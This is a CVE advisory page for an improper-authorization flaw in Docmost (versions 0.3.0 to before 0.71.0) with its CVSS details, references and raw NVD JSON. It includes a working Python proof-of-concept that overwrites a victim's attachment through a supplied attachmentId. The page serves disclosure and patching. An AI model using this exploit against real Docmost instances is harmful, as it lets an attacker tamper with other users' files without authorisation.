CVE-2026-34213

Description

Docmost is open-source collaborative wiki and documentation software. Starting in version 0.3.0 and prior to version 0.71.0, improper authorization in Docmost allows a low-privileged authenticated user to overwrite another page's attachment within the same workspace by supplying a victim `attachmentId` to `POST /api/files/upload`. This is a remote integrity issue requiring no victim interaction. Version 0.71.0 contains a patch.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:docmost:docmost:*:*:*:*:*:*:*:* - VULNERABLE

Docmost < 0.71.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit for CVE-2026-34213: Docmost Improper Authorization
# This script demonstrates how a low-privileged user can overwrite attachments.

TARGET_URL = "http://localhost:3000"
ATTACKER_TOKEN = "low_privilege_token_here"
VICTIM_ATTACHMENT_ID = "target_uuid_here"

# Target endpoint
endpoint = f"{TARGET_URL}/api/files/upload"

# Headers simulating a low-privileged authenticated user
headers = {
    "Authorization": f"Bearer {ATTACKER_TOKEN}",
    "Accept": "application/json"
}

# The exploitation payload: uploading a new file but forcing the victim's ID
files = {
    'file': ('exploit_payload.txt', b'This content has been overwritten by an attacker.', 'text/plain')
}
data = {
    'attachmentId': VICTIM_ATTACHMENT_ID  # The vulnerable parameter
}

try:
    response = requests.post(endpoint, headers=headers, files=files, data=data)
    if response.status_code == 200:
        print("[+] Success: Attachment overwritten.")
    else:
        print(f"[-] Failed: HTTP {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34213
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34213
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34213/
[4] VulDB https://vuldb.com/cve/CVE-2026-34213
[5] https://github.com/docmost/docmost/security/advisories/GHSA-89fp-2hch-j9gp

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34213", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:31.193", "lastModified": "2026-04-22T18:46:54.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Docmost is open-source collaborative wiki and documentation software. Starting in version 0.3.0 and prior to version 0.71.0, improper authorization in Docmost allows a low-privileged authenticated user to overwrite another page's attachment within the same workspace by supplying a victim `attachmentId` to `POST /api/files/upload`. This is a remote integrity issue requiring no victim interaction. Version 0.71.0 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:docmost:docmost:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.3.0", "versionEndExcluding": "0.71.0", "matchCriteriaId": "3DBD5227-C9AE-4A0D-9607-E7238FA6D754"}]}]}], "references": [{"url": "https://github.com/docmost/docmost/security/advisories/GHSA-89fp-2hch-j9gp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}